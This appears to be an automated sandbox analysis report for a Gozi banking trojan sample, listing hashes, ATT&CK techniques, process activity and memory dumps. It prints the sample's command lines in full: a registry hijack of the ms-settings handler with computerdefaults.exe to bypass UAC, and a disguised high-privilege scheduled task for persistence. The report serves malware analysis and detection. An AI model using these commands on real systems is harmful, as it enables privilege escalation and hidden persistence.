gozi | 866c0294731f195b0b9efa4f9b7cac352e8de5121f63a458a75efed3a625d24a

General

Target

easfawefawfas.exe
Size

12KB
MD5

2813b6e3ed4bd6b14c53e3dffcdff21d
SHA1

5ac7c7a3dadde70f94810c608a2eb275f14b7bde
SHA256

866c0294731f195b0b9efa4f9b7cac352e8de5121f63a458a75efed3a625d24a
SHA512

ff2454992a5fbe5c8cfab149ebd5edaa089ab4f25b88a47c5da0348575a72f1de372c8e762f74f284070a7a2e1209202ca755b4c08dd99799ac5bb9a598e0a24
SSDEEP

192:LsNqFnJvOXdub8t6QP+TXVKTl1hAKje2Ecp0Gun8JZcxZQF:LsNvuI6QIKTHhA8rt0nnicxo

Score

10^/10

gozi banker isfb trojan

Malware Config

Extracted

Family

gozi

Signatures

Gozi
Gozi is a well-known and widely distributed banking trojan.
banker trojan gozi
Loads dropped DLL 1 IoCs

Processes:

easfawefawfas.exe

pid process

616 easfawefawfas.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

1 raw.githubusercontent.com
2 raw.githubusercontent.com
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1872 616 WerFault.exe easfawefawfas.exe
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exe

pid process

3292 schtasks.exe

pid	process
616	easfawefawfas.exe

flow	ioc
1	raw.githubusercontent.com
2	raw.githubusercontent.com

pid	pid_target	process	target process
1872	616	WerFault.exe	easfawefawfas.exe

pid	process
3292	schtasks.exe

Modifies registry class 7 IoCs

Processes:

reg.exereg.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1739856679-3467441365-73334005-1000_Classes\ms-settings\shell\open\command	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1739856679-3467441365-73334005-1000_Classes\ms-settings\shell\open\command\DelegateExecute = "0"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1739856679-3467441365-73334005-1000_Classes\ms-settings\shell\open\command	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1739856679-3467441365-73334005-1000_Classes\ms-settings	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1739856679-3467441365-73334005-1000_Classes\ms-settings\shell	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1739856679-3467441365-73334005-1000_Classes\ms-settings\shell\open	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1739856679-3467441365-73334005-1000_Classes\ms-settings\shell\open\command\ = "wscript.exe C:\\Users\\Admin\\AppData\\Local\\Temp\\consoleitaly1826.vbs"	reg.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

easfawefawfas.exe

description pid process

Token: SeDebugPrivilege 616 easfawefawfas.exe

description	pid	process
Token: SeDebugPrivilege	616	easfawefawfas.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

easfawefawfas.execmd.execmd.exe

description	pid	process	target process
PID 616 wrote to memory of 2580	616	easfawefawfas.exe	reg.exe
PID 616 wrote to memory of 2580	616	easfawefawfas.exe	reg.exe
PID 616 wrote to memory of 2580	616	easfawefawfas.exe	reg.exe
PID 616 wrote to memory of 5116	616	easfawefawfas.exe	reg.exe
PID 616 wrote to memory of 5116	616	easfawefawfas.exe	reg.exe
PID 616 wrote to memory of 5116	616	easfawefawfas.exe	reg.exe
PID 616 wrote to memory of 5056	616	easfawefawfas.exe	cmd.exe
PID 616 wrote to memory of 5056	616	easfawefawfas.exe	cmd.exe
PID 616 wrote to memory of 5056	616	easfawefawfas.exe	cmd.exe
PID 5056 wrote to memory of 5100	5056	cmd.exe	ComputerDefaults.exe
PID 5056 wrote to memory of 5100	5056	cmd.exe	ComputerDefaults.exe
PID 5056 wrote to memory of 5100	5056	cmd.exe	ComputerDefaults.exe
PID 616 wrote to memory of 4668	616	easfawefawfas.exe	cmd.exe
PID 616 wrote to memory of 4668	616	easfawefawfas.exe	cmd.exe
PID 616 wrote to memory of 4668	616	easfawefawfas.exe	cmd.exe
PID 4668 wrote to memory of 3292	4668	cmd.exe	schtasks.exe
PID 4668 wrote to memory of 3292	4668	cmd.exe	schtasks.exe
PID 4668 wrote to memory of 3292	4668	cmd.exe	schtasks.exe

C:\Users\Admin\AppData\Local\Temp\easfawefawfas.exe
"C:\Users\Admin\AppData\Local\Temp\easfawefawfas.exe"
1⤵
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:616

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" add "HKCU\Software\Classes\ms-settings\shell\open\command" /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\consoleitaly1826.vbs" /f
2⤵
- Modifies registry class
PID:2580

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" add "HKCU\Software\Classes\ms-settings\shell\open\command" /v DelegateExecute /d "0" /f
2⤵
- Modifies registry class
PID:5116

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /C computerdefaults.exe
2⤵
- Suspicious use of WriteProcessMemory
PID:5056

C:\Windows\SysWOW64\ComputerDefaults.exe
computerdefaults.exe
3⤵
PID:5100

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C schtasks /Create /SC ONLOGON /TN AVGUpdateService_gKwwuP9Gdga87vtVr050MX /TR "C:\Users\Admin\AppData\Local\Microsoft\Windows\Ringtones\gKwwuP9Gdga87vtVr050MX.exe" /RL HIGHEST /IT
2⤵
- Suspicious use of WriteProcessMemory
PID:4668

C:\Windows\SysWOW64\schtasks.exe
schtasks /Create /SC ONLOGON /TN AVGUpdateService_gKwwuP9Gdga87vtVr050MX /TR "C:\Users\Admin\AppData\Local\Microsoft\Windows\Ringtones\gKwwuP9Gdga87vtVr050MX.exe" /RL HIGHEST /IT
3⤵
- Creates scheduled task(s)
PID:3292

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 616 -s 2072
2⤵
- Program crash
PID:1872

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1

T1053

Persistence

Scheduled Task/Job

1

T1053

Privilege Escalation

Scheduled Task/Job

1

T1053

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

\Users\Admin\AppData\Local\Temp\Costura\40BD99E3E2E3C109881E4ECA2DEDC617\32\sqlite.interop.dll

Filesize
1.4MB

MD5
6f2fdecc48e7d72ca1eb7f17a97e59ad

SHA1
fcbc8c4403e5c8194ee69158d7e70ee7dbd4c056

SHA256
70e48ef5c14766f3601c97451b47859fddcbe7f237e1c5200cea8e7a7609d809

SHA512
fea98a3d6fff1497551dc6583dd92798dcac764070a350fd381e856105a6411c94effd4b189b7a32608ff610422b8dbd6d93393c5da99ee66d4569d45191dc8b

Download Submit
memory/616-0-0x00000000736EE000-0x00000000736EF000-memory.dmp

Filesize
4KB

Download
memory/616-1-0x0000000000FF0000-0x0000000000FFC000-memory.dmp

Filesize
48KB

Download
memory/616-2-0x0000000000F80000-0x0000000000F9A000-memory.dmp

Filesize
104KB

Download
memory/616-3-0x0000000000F70000-0x0000000000F7A000-memory.dmp

Filesize
40KB

Download
memory/616-4-0x0000000004B50000-0x0000000004BE2000-memory.dmp

Filesize
584KB

Download
memory/616-5-0x0000000005170000-0x000000000566E000-memory.dmp

Filesize
5.0MB

Download
memory/616-6-0x00000000736E0000-0x0000000073DCE000-memory.dmp

Filesize
6.9MB

Download
memory/616-9-0x00000000736EE000-0x00000000736EF000-memory.dmp

Filesize
4KB

Download
memory/616-10-0x00000000736E0000-0x0000000073DCE000-memory.dmp

Filesize
6.9MB

Download
memory/616-11-0x000000000A5A0000-0x000000000B1A0000-memory.dmp

Filesize
12.0MB

Download
memory/616-12-0x0000000012300000-0x0000000012FA2000-memory.dmp

Filesize
12.6MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads